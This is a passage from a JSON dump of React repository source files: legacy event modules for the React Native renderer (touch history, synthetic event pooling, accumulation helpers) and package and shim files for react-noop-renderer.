touchRecord.currentPageY;\n    touchRecord.previousTimeStamp = touchRecord.currentTimeStamp;\n    touchRecord.currentPageX = touch.pageX;\n    touchRecord.currentPageY = touch.pageY;\n    touchRecord.currentTimeStamp = timestampForTouch(touch);\n    touchHistory.mostRecentTimeStamp = timestampForTouch(touch);\n  } else {\n    if (__DEV__) {\n      console.warn(\n        'Cannot record touch end without a touch start.\\n' +\n          'Touch End: %s\\n' +\n          'Touch Bank: %s',\n        printTouch(touch),\n        printTouchBank(),\n      );\n    }\n  }\n}\n\nfunction printTouch(touch: Touch): string {\n  return JSON.stringify({\n    identifier: touch.identifier,\n    pageX: touch.pageX,\n    pageY: touch.pageY,\n    timestamp: timestampForTouch(touch),\n  });\n}\n\nfunction printTouchBank(): string {\n  let printed = JSON.stringify(touchBank.slice(0, MAX_TOUCH_BANK));\n  if (touchBank.length > MAX_TOUCH_BANK) {\n    printed += ' (original size: ' + touchBank.length + ')';\n  }\n  return printed;\n}\n\nlet instrumentationCallback: ?(string, TouchEvent) => void;\n\nconst ResponderTouchHistoryStore = {\n  /**\n   * Registers a listener which can be used to instrument every touch event.\n   */\n  instrument(callback: (string, TouchEvent) => void): void {\n    instrumentationCallback = callback;\n  },\n\n  recordTouchTrack(topLevelType: string, nativeEvent: TouchEvent): void {\n    if (instrumentationCallback != null) {\n      instrumentationCallback(topLevelType, nativeEvent);\n    }\n\n    if (isMoveish(topLevelType)) {\n      nativeEvent.changedTouches.forEach(recordTouchMove);\n    } else if (isStartish(topLevelType)) {\n      nativeEvent.changedTouches.forEach(recordTouchStart);\n      touchHistory.numberActiveTouches = nativeEvent.touches.length;\n      if (touchHistory.numberActiveTouches === 1) {\n        touchHistory.indexOfSingleActiveTouch =\n          // $FlowFixMe[incompatible-type] might be null according to type\n          nativeEvent.touches[0].identifier;\n      }\n    } else if (isEndish(topLevelType)) {\n      nativeEvent.changedTouches.forEach(recordTouchEnd);\n      touchHistory.numberActiveTouches = nativeEvent.touches.length;\n      if (touchHistory.numberActiveTouches === 1) {\n        for (let i = 0; i < touchBank.length; i++) {\n          const touchTrackToCheck = touchBank[i];\n          if (touchTrackToCheck != null && touchTrackToCheck.touchActive) {\n            touchHistory.indexOfSingleActiveTouch = i;\n            break;\n          }\n        }\n        if (__DEV__) {\n          const activeRecord = touchBank[touchHistory.indexOfSingleActiveTouch];\n          if (activeRecord == null || !activeRecord.touchActive) {\n            console.error('Cannot find single active touch.');\n          }\n        }\n      }\n    }\n  },\n\n  touchHistory,\n};\n\nexport default ResponderTouchHistoryStore;\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/SyntheticEvent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/* eslint valid-typeof: 0 */\n\nimport assign from 'shared/assign';\n\nconst EVENT_POOL_SIZE = 10;\n\nlet currentTimeStamp = () => {\n  // Lazily define the function based on the existence of performance.now()\n  if (\n    typeof performance === 'object' &&\n    performance !== null &&\n    typeof performance.now === 'function'\n  ) {\n    currentTimeStamp = () => performance.now();\n  } else {\n    currentTimeStamp = () => Date.now();\n  }\n\n  return currentTimeStamp();\n};\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nconst EventInterface = {\n  type: null,\n  target: null,\n  // currentTarget is set when dispatching; no use in copying it here\n  currentTarget: function () {\n    return null;\n  },\n  eventPhase: null,\n  bubbles: null,\n  cancelable: null,\n  timeStamp: function (event) {\n    return event.timeStamp || event.timestamp || currentTimeStamp();\n  },\n  defaultPrevented: null,\n  isTrusted: null,\n};\n\nfunction functionThatReturnsTrue() {\n  return true;\n}\n\nfunction functionThatReturnsFalse() {\n  return false;\n}\n\n/**\n * Synthetic events are dispatched by event plugins, typically in response to a\n * top-level event delegation handler.\n *\n * These systems should generally use pooling to reduce the frequency of garbage\n * collection. The system should check `isPersistent` to determine whether the\n * event should be released into the pool after being dispatched. Users that\n * need a persisted event should invoke `persist`.\n *\n * Synthetic events (and subclasses) implement the DOM Level 3 Events API by\n * normalizing browser quirks. Subclasses do not necessarily have to implement a\n * DOM interface; custom application-specific events can also subclass this.\n *\n * @param {object} dispatchConfig Configuration used to dispatch this event.\n * @param {*} targetInst Marker identifying the event target.\n * @param {object} nativeEvent Native browser event.\n * @param {DOMEventTarget} nativeEventTarget Target node.\n */\nfunction SyntheticEvent(\n  dispatchConfig,\n  targetInst,\n  nativeEvent,\n  nativeEventTarget,\n) {\n  if (__DEV__) {\n    // these have a getter/setter for warnings\n    delete this.nativeEvent;\n    delete this.preventDefault;\n    delete this.stopPropagation;\n    delete this.isDefaultPrevented;\n    delete this.isPropagationStopped;\n  }\n\n  this.dispatchConfig = dispatchConfig;\n  this._targetInst = targetInst;\n  this.nativeEvent = nativeEvent;\n  this._dispatchListeners = null;\n  this._dispatchInstances = null;\n\n  const Interface = this.constructor.Interface;\n  for (const propName in Interface) {\n    if (!Interface.hasOwnProperty(propName)) {\n      continue;\n    }\n    if (__DEV__) {\n      delete this[propName]; // this has a getter/setter for warnings\n    }\n    const normalize = Interface[propName];\n    if (normalize) {\n      this[propName] = normalize(nativeEvent);\n    } else {\n      if (propName === 'target') {\n        this.target = nativeEventTarget;\n      } else {\n        this[propName] = nativeEvent[propName];\n      }\n    }\n  }\n\n  const defaultPrevented =\n    nativeEvent.defaultPrevented != null\n      ? nativeEvent.defaultPrevented\n      : nativeEvent.returnValue === false;\n  if (defaultPrevented) {\n    this.isDefaultPrevented = functionThatReturnsTrue;\n  } else {\n    this.isDefaultPrevented = functionThatReturnsFalse;\n  }\n  this.isPropagationStopped = functionThatReturnsFalse;\n  return this;\n}\n\nassign(SyntheticEvent.prototype, {\n  preventDefault: function () {\n    this.defaultPrevented = true;\n    const event = this.nativeEvent;\n    if (!event) {\n      return;\n    }\n\n    if (event.preventDefault) {\n      event.preventDefault();\n    } else if (typeof event.returnValue !== 'unknown') {\n      event.returnValue = false;\n    }\n    this.isDefaultPrevented = functionThatReturnsTrue;\n  },\n\n  stopPropagation: function () {\n    const event = this.nativeEvent;\n    if (!event) {\n      return;\n    }\n\n    if (event.stopPropagation) {\n      event.stopPropagation();\n    } else if (typeof event.cancelBubble !== 'unknown') {\n      // The ChangeEventPlugin registers a \"propertychange\" event for\n      // IE. This event does not support bubbling or cancelling, and\n      // any references to cancelBubble throw \"Member not found\".  A\n      // typeof check of \"unknown\" circumvents this issue (and is also\n      // IE specific).\n      event.cancelBubble = true;\n    }\n\n    this.isPropagationStopped = functionThatReturnsTrue;\n  },\n\n  /**\n   * We release all dispatched `SyntheticEvent`s after each event loop, adding\n   * them back into the pool. This allows a way to hold onto a reference that\n   * won't be added back into the pool.\n   */\n  persist: function () {\n    this.isPersistent = functionThatReturnsTrue;\n  },\n\n  /**\n   * Checks if this event should be released back into the pool.\n   *\n   * @return {boolean} True if this should not be released, false otherwise.\n   */\n  isPersistent: functionThatReturnsFalse,\n\n  /**\n   * `PooledClass` looks for `destructor` on each instance it releases.\n   */\n  destructor: function () {\n    const Interface = this.constructor.Interface;\n    for (const propName in Interface) {\n      if (__DEV__) {\n        Object.defineProperty(\n          this,\n          propName,\n          getPooledWarningPropertyDefinition(propName, Interface[propName]),\n        );\n      } else {\n        this[propName] = null;\n      }\n    }\n    this.dispatchConfig = null;\n    this._targetInst = null;\n    this.nativeEvent = null;\n    this.isDefaultPrevented = functionThatReturnsFalse;\n    this.isPropagationStopped = functionThatReturnsFalse;\n    this._dispatchListeners = null;\n    this._dispatchInstances = null;\n    if (__DEV__) {\n      Object.defineProperty(\n        this,\n        'nativeEvent',\n        getPooledWarningPropertyDefinition('nativeEvent', null),\n      );\n      Object.defineProperty(\n        this,\n        'isDefaultPrevented',\n        getPooledWarningPropertyDefinition(\n          'isDefaultPrevented',\n          functionThatReturnsFalse,\n        ),\n      );\n      Object.defineProperty(\n        this,\n        'isPropagationStopped',\n        getPooledWarningPropertyDefinition(\n          'isPropagationStopped',\n          functionThatReturnsFalse,\n        ),\n      );\n      Object.defineProperty(\n        this,\n        'preventDefault',\n        getPooledWarningPropertyDefinition('preventDefault', () => {}),\n      );\n      Object.defineProperty(\n        this,\n        'stopPropagation',\n        getPooledWarningPropertyDefinition('stopPropagation', () => {}),\n      );\n    }\n  },\n});\n\nSyntheticEvent.Interface = EventInterface;\n\n/**\n * Helper to reduce boilerplate when creating subclasses.\n */\nSyntheticEvent.extend = function (Interface) {\n  const Super = this;\n\n  const E = function () {};\n  E.prototype = Super.prototype;\n  const prototype = new E();\n\n  function Class() {\n    return Super.apply(this, arguments);\n  }\n  assign(prototype, Class.prototype);\n  Class.prototype = prototype;\n  Class.prototype.constructor = Class;\n\n  Class.Interface = assign({}, Super.Interface, Interface);\n  Class.extend = Super.extend;\n  addEventPoolingTo(Class);\n\n  return Class;\n};\n\naddEventPoolingTo(SyntheticEvent);\n\n/**\n * Helper to nullify syntheticEvent instance properties when destructing\n *\n * @param {String} propName\n * @param {?object} getVal\n * @return {object} defineProperty object\n */\nfunction getPooledWarningPropertyDefinition(propName, getVal) {\n  function set(val) {\n    const action = isFunction ? 'setting the method' : 'setting the property';\n    warn(action, 'This is effectively a no-op');\n    return val;\n  }\n\n  function get() {\n    const action = isFunction\n      ? 'accessing the method'\n      : 'accessing the property';\n    const result = isFunction\n      ? 'This is a no-op function'\n      : 'This is set to null';\n    warn(action, result);\n    return getVal;\n  }\n\n  function warn(action, result) {\n    if (__DEV__) {\n      console.error(\n        \"This synthetic event is reused for performance reasons. If you're seeing this, \" +\n          \"you're %s `%s` on a released/nullified synthetic event. %s. \" +\n          'If you must keep the original synthetic event around, use event.persist(). ' +\n          'See https://react.dev/link/event-pooling for more information.',\n        action,\n        propName,\n        result,\n      );\n    }\n  }\n  const isFunction = typeof getVal === 'function';\n  return {\n    configurable: true,\n    set: set,\n    get: get,\n  };\n}\n\nfunction createOrGetPooledEvent(\n  dispatchConfig,\n  targetInst,\n  nativeEvent,\n  nativeInst,\n) {\n  const EventConstructor = this;\n  if (EventConstructor.eventPool.length) {\n    const instance = EventConstructor.eventPool.pop();\n    EventConstructor.call(\n      instance,\n      dispatchConfig,\n      targetInst,\n      nativeEvent,\n      nativeInst,\n    );\n    return instance;\n  }\n  return new EventConstructor(\n    dispatchConfig,\n    targetInst,\n    nativeEvent,\n    nativeInst,\n  );\n}\n\nfunction releasePooledEvent(event) {\n  const EventConstructor = this;\n\n  if (!(event instanceof EventConstructor)) {\n    throw new Error(\n      'Trying to release an event instance into a pool of a different type.',\n    );\n  }\n\n  event.destructor();\n  if (EventConstructor.eventPool.length < EVENT_POOL_SIZE) {\n    EventConstructor.eventPool.push(event);\n  }\n}\n\nfunction addEventPoolingTo(EventConstructor) {\n  EventConstructor.getPooled = createOrGetPooledEvent;\n  EventConstructor.eventPool = [];\n  EventConstructor.release = releasePooledEvent;\n}\n\nexport default SyntheticEvent;\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/TopLevelEventTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type RNTopLevelEventType =\n  | 'topMouseDown'\n  | 'topMouseMove'\n  | 'topMouseUp'\n  | 'topScroll'\n  | 'topSelectionChange'\n  | 'topTouchCancel'\n  | 'topTouchEnd'\n  | 'topTouchMove'\n  | 'topTouchStart';\n\nexport opaque type DOMTopLevelEventType = string;\n\n// Do not use the below two methods directly!\n// Instead use constants exported from DOMTopLevelEventTypes in ReactDOM.\n// (It is the only module that is allowed to access these methods.)\n\nexport function unsafeCastStringToDOMTopLevelType(\n  topLevelType: string,\n): DOMTopLevelEventType {\n  return topLevelType;\n}\n\nexport function unsafeCastDOMTopLevelTypeToString(\n  topLevelType: DOMTopLevelEventType,\n): string {\n  return topLevelType;\n}\n\nexport type TopLevelType = DOMTopLevelEventType | RNTopLevelEventType;\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/accumulate.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport isArray from 'shared/isArray';\n\n/**\n * Accumulates items that must not be null or undefined.\n *\n * This is used to conserve memory by avoiding array allocations.\n *\n * @return {*|array<*>} An accumulation of items.\n */\nfunction accumulate<T>(\n  current: ?(T | Array<T>),\n  next: T | Array<T>,\n): T | Array<T> {\n  if (next == null) {\n    throw new Error('Accumulated items must not be null or undefined.');\n  }\n\n  if (current == null) {\n    return next;\n  }\n\n  // Both are not empty. Warning: Never call x.concat(y) when you are not\n  // certain that x is an Array (x could be a string with concat method).\n  if (isArray(current)) {\n    // $FlowFixMe[incompatible-use] `isArray` does not ensure array is mutable\n    return current.concat(next);\n  }\n\n  if (isArray(next)) {\n    /* $FlowFixMe[incompatible-return] unsound if `next` is `T` and `T` an array,\n     * `isArray` might refine to the array element type of `T` */\n    return [current].concat(next);\n  }\n\n  return [current, next];\n}\n\nexport default accumulate;\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/accumulateInto.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport isArray from 'shared/isArray';\n\n/**\n * Accumulates items that must not be null or undefined into the first one. This\n * is used to conserve memory by avoiding array allocations, and thus sacrifices\n * API cleanness. Since `current` can be null before being passed in and not\n * null after this function, make sure to assign it back to `current`:\n *\n * `a = accumulateInto(a, b);`\n *\n * This API should be sparingly used. Try `accumulate` for something cleaner.\n *\n * @return {*|array<*>} An accumulation of items.\n */\n\nfunction accumulateInto<T>(\n  current: ?(Array<T> | T),\n  next: T | Array<T>,\n): T | Array<T> {\n  if (next == null) {\n    throw new Error('Accumulated items must not be null or undefined.');\n  }\n\n  if (current == null) {\n    return next;\n  }\n\n  // Both are not empty. Warning: Never call x.concat(y) when you are not\n  // certain that x is an Array (x could be a string with concat method).\n  if (isArray(current)) {\n    if (isArray(next)) {\n      // $FlowFixMe[incompatible-use] `isArray` does not ensure array is mutable\n      // $FlowFixMe[method-unbinding]\n      current.push.apply(current, next);\n      return current;\n    }\n    // $FlowFixMe[incompatible-use] `isArray` does not ensure array is mutable\n    current.push(next);\n    return current;\n  }\n\n  if (isArray(next)) {\n    // A bit too dangerous to mutate `next`.\n    /* $FlowFixMe[incompatible-return] unsound if `next` is `T` and `T` an array,\n     * `isArray` might refine to the array element type of `T` */\n    return [current].concat(next);\n  }\n\n  return [current, next];\n}\n\nexport default accumulateInto;\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/forEachAccumulated.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * @param {array} arr an \"accumulation\" of items which is either an Array or\n * a single item. Useful when paired with the `accumulate` module. This is a\n * simple utility that allows us to reason about a collection of items, but\n * handling the case when there is exactly one item (and we do not need to\n * allocate an array).\n * @param {function} cb Callback invoked with each element or a collection.\n * @param {?} [scope] Scope used as `this` in a callback.\n */\nfunction forEachAccumulated<T>(\n  arr: ?(Array<T> | T),\n  cb: (elem: T) => void,\n  scope: ?any,\n) {\n  if (Array.isArray(arr)) {\n    // $FlowFixMe[incompatible-call] if `T` is an array, `cb` cannot be called\n    arr.forEach(cb, scope);\n  } else if (arr) {\n    cb.call(scope, arr);\n  }\n}\n\nexport default forEachAccumulated;\n"
  },
  {
    "path": "packages/react-noop-renderer/README.md",
    "content": "# `react-noop-renderer`\n\nThis package is the renderer we use for debugging [Fiber](https://github.com/facebook/react/issues/6170).\nIt is not intended to be used directly.\n"
  },
  {
    "path": "packages/react-noop-renderer/flight-client.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactNoopFlightClient';\n"
  },
  {
    "path": "packages/react-noop-renderer/flight-modules.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This file is used as temporary storage for modules generated in Flight tests.\nlet moduleIdx = 0;\nconst modules: Map<string, Function> = new Map();\n\n// This simulates what the compiler will do when it replaces render functions with server blocks.\nexport function saveModule(render: Function): string {\n  const idx = '' + moduleIdx++;\n  modules.set(idx, render);\n  return idx;\n}\n\nexport function readModule(idx: string): Function {\n  return modules.get(idx);\n}\n"
  },
  {
    "path": "packages/react-noop-renderer/flight-server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactNoopFlightServer';\n"
  },
  {
    "path": "packages/react-noop-renderer/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactNoop';\n"
  },
  {
    "path": "packages/react-noop-renderer/npm/flight-client.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-noop-renderer-flight-client.production.js');\n} else {\n  module.exports = require('./cjs/react-noop-renderer-flight-client.development.js');\n}\n"
  },
  {
    "path": "packages/react-noop-renderer/npm/flight-modules.js",
    "content": "'use strict';\n\n// This file is used as temporary storage for modules generated in Flight tests.\nvar moduleIdx = 0;\nvar modules = new Map();\n\n// This simulates what the compiler will do when it replaces render functions with server blocks.\nexports.saveModule = function saveModule(render) {\n  var idx = '' + moduleIdx++;\n  modules.set(idx, render);\n  return idx;\n};\n\nexports.readModule = function readModule(idx) {\n  return modules.get(idx);\n};\n"
  },
  {
    "path": "packages/react-noop-renderer/npm/flight-server.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-noop-renderer-flight-server.production.js');\n} else {\n  module.exports = require('./cjs/react-noop-renderer-flight-server.development.js');\n}\n"
  },
  {
    "path": "packages/react-noop-renderer/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-noop-renderer.production.js');\n} else {\n  module.exports = require('./cjs/react-noop-renderer.development.js');\n}\n"
  },
  {
    "path": "packages/react-noop-renderer/npm/persistent.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-noop-renderer-persistent.production.js');\n} else {\n  module.exports = require('./cjs/react-noop-renderer-persistent.development.js');\n}\n"
  },
  {
    "path": "packages/react-noop-renderer/npm/server.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-noop-renderer-server.production.js');\n} else {\n  module.exports = require('./cjs/react-noop-renderer-server.development.js');\n}\n"
  },
  {
    "path": "packages/react-noop-renderer/package.json",
    "content": "{\n  \"name\": \"react-noop-renderer\",\n  \"version\": \"16.0.0\",\n  \"private\": true,\n  \"description\": \"React package for testing the Fiber, Fizz and Flight reconcilers.\",\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\" : \"git\",\n    \"url\" : \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-noop-renderer\"\n  },\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"react-reconciler\": \"*\",\n    \"react-client\": \"*\",\n    \"react-server\": \"*\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^17.0.0\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"persistent.js\",\n    \"server.js\",\n    \"flight-client.js\",\n    \"flight-modules.js\",\n    \"flight-server.js\",\n    \"cjs/\"\n  ]\n}\n"
  },
  {
    "path": "packages/react-noop-renderer/persistent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactNoopPersistent';\n"
  },
  {
    "path": "packages/react-noop-renderer/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactNoopServer';\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFiberConfigNoopHydration';\nexport * from './ReactFiberConfigNoopScopes';\nexport * from './ReactFiberConfigNoopTestSelectors';\nexport * from './ReactFiberConfigNoopResources';\nexport * from './ReactFiberConfigNoopSingletons';\n// createReactNoop will overwrite these with the mutation or persistence versions.\nexport * from './ReactFiberConfigNoopNoMutation';\nexport * from './ReactFiberConfigNoopNoPersistence';\n\nexport type HostContext = Object;\n\nexport type TextInstance = {\n  text: string,\n  id: number,\n  parent: number,\n  hidden: boolean,\n  context: HostContext,\n};\n\nexport type Instance = {\n  type: string,\n  id: number,\n  parent: number,\n  children: Array<Instance | TextInstance>,\n  text: string | null,\n  prop: any,\n  hidden: boolean,\n  context: HostContext,\n};\n\nexport type PublicInstance = Instance;\n\nexport type TransitionStatus = mixed;\n\nexport type Container = {\n  rootID: string,\n  children: Array<Instance | TextInstance>,\n  pendingChildren: Array<Instance | TextInstance>,\n};\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoopHydration.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support hydration\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'react-noop-renderer does not support hydration. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Hydration (when unsupported)\nexport type ActivityInstance = mixed;\nexport type SuspenseInstance = mixed;\nexport const supportsHydration = false;\nexport const isSuspenseInstancePending = shim;\nexport const isSuspenseInstanceFallback = shim;\nexport const getSuspenseInstanceFallbackErrorDetails = shim;\nexport const registerSuspenseInstanceRetry = shim;\nexport const canHydrateFormStateMarker = shim;\nexport const isFormStateMarkerMatching = shim;\nexport const getNextHydratableSibling = shim;\nexport const getNextHydratableSiblingAfterSingleton = shim;\nexport const getFirstHydratableChild = shim;\nexport const getFirstHydratableChildWithinContainer = shim;\nexport const getFirstHydratableChildWithinActivityInstance = shim;\nexport const getFirstHydratableChildWithinSuspenseInstance = shim;\nexport const getFirstHydratableChildWithinSingleton = shim;\nexport const canHydrateInstance = shim;\nexport const canHydrateTextInstance = shim;\nexport const canHydrateActivityInstance = shim;\nexport const canHydrateSuspenseInstance = shim;\nexport const hydrateInstance = shim;\nexport const hydrateTextInstance = shim;\nexport const hydrateActivityInstance = shim;\nexport const hydrateSuspenseInstance = shim;\nexport const getNextHydratableInstanceAfterActivityInstance = shim;\nexport const getNextHydratableInstanceAfterSuspenseInstance = shim;\nexport const finalizeHydratedChildren = shim;\nexport const commitHydratedInstance = shim;\nexport const commitHydratedContainer = shim;\nexport const commitHydratedActivityInstance = shim;\nexport const commitHydratedSuspenseInstance = shim;\nexport const flushHydrationEvents = shim;\nexport const clearActivityBoundary = shim;\nexport const clearSuspenseBoundary = shim;\nexport const clearActivityBoundaryFromContainer = shim;\nexport const clearSuspenseBoundaryFromContainer = shim;\nexport const hideDehydratedBoundary = shim;\nexport const unhideDehydratedBoundary = shim;\nexport const shouldDeleteUnhydratedTailInstances = shim;\nexport const diffHydratedPropsForDevWarnings = shim;\nexport const diffHydratedTextForDevWarnings = shim;\nexport const describeHydratableInstanceForDevWarnings = shim;\nexport const validateHydratableInstance = shim;\nexport const validateHydratableTextInstance = shim;\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoopNoMutation.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support mutation\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'This entrypoint of react-noop-renderer does not support mutation. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Mutation (when unsupported)\nexport const supportsMutation = false;\nexport const cloneMutableInstance = shim;\nexport const cloneMutableTextInstance = shim;\nexport const appendChild = shim;\nexport const appendChildToContainer = shim;\nexport const commitTextUpdate = shim;\nexport const commitMount = shim;\nexport const commitUpdate = shim;\nexport const insertBefore = shim;\nexport const insertInContainerBefore = shim;\nexport const removeChild = shim;\nexport const removeChildFromContainer = shim;\nexport const resetTextContent = shim;\nexport const hideInstance = shim;\nexport const hideTextInstance = shim;\nexport const unhideInstance = shim;\nexport const unhideTextInstance = shim;\nexport const clearContainer = shim;\nexport const applyViewTransitionName = shim;\nexport const restoreViewTransitionName = shim;\nexport const cancelViewTransitionName = shim;\nexport const cancelRootViewTransitionName = shim;\nexport const restoreRootViewTransitionName = shim;\nexport const cloneRootViewTransitionContainer = shim;\nexport const removeRootViewTransitionClone = shim;\nexport type InstanceMeasurement = null;\nexport const measureInstance = shim;\nexport const measureClonedInstance = shim;\nexport const wasInstanceInViewport = shim;\nexport const hasInstanceChanged = shim;\nexport const hasInstanceAffectedParent = shim;\nexport const startViewTransition = shim;\nexport type RunningViewTransition = null;\nexport const startGestureTransition = shim;\nexport const stopViewTransition = shim;\nexport const addViewTransitionFinishedListener = shim;\nexport type ViewTransitionInstance = null | {name: string, ...};\nexport const createViewTransitionInstance = shim;\nexport type GestureTimeline = any;\nexport const getCurrentGestureOffset = shim;\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoopNoPersistence.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support persistence\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'This entrypoint of react-noop-renderer does not support persistence. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Persistence (when unsupported)\nexport const supportsPersistence = false;\nexport const cloneInstance = shim;\nexport const createContainerChildSet = shim;\nexport const appendChildToContainerChildSet = shim;\nexport const finalizeContainerChildren = shim;\nexport const replaceContainerChildren = shim;\nexport const cloneHiddenInstance = shim;\nexport const cloneHiddenTextInstance = shim;\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoopResources.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support hydration\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'react-noop-renderer does not support Resources. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\nexport type HoistableRoot = mixed;\nexport type Resource = mixed;\n\n// Resources (when unsupported)\nexport const supportsResources = false;\nexport const isHostHoistableType = shim;\nexport const getHoistableRoot = shim;\nexport const getResource = shim;\nexport const acquireResource = shim;\nexport const releaseResource = shim;\nexport const hydrateHoistable = shim;\nexport const mountHoistable = shim;\nexport const unmountHoistable = shim;\nexport const createHoistableInstance = shim;\nexport const prepareToCommitHoistables = shim;\nexport const mayResourceSuspendCommit = shim;\nexport const preloadResource = shim;\nexport const suspendResource = shim;\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoopScopes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support React Scopes\n// can re-export everything from this module.\n\nfunction shim(...args: any): empty {\n  throw new Error(\n    'react-noop-renderer does not support React Scopes. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// React Scopes (when unsupported)\nexport const prepareScopeUpdate = shim;\nexport const getInstanceFromScope = shim;\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoopSingletons.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Renderers that don't support mutation\n// can re-export everything from this module.\n\nfunction shim(...args: any): any {\n  throw new Error(\n    'react-noop-renderer does not support Singletons. ' +\n      'This error is likely caused by a bug in React. ' +\n      'Please file an issue.',\n  );\n}\n\n// Resources (when unsupported)\nexport const supportsSingletons = false;\nexport const resolveSingletonInstance = shim;\nexport const acquireSingletonInstance = shim;\nexport const releaseSingletonInstance = shim;\nexport const isHostSingletonType = shim;\nexport const isSingletonScope = shim;\n"
  },
  {
    "path": "packages/react-noop-renderer/src/ReactFiberConfigNoopTestSelectors.js",
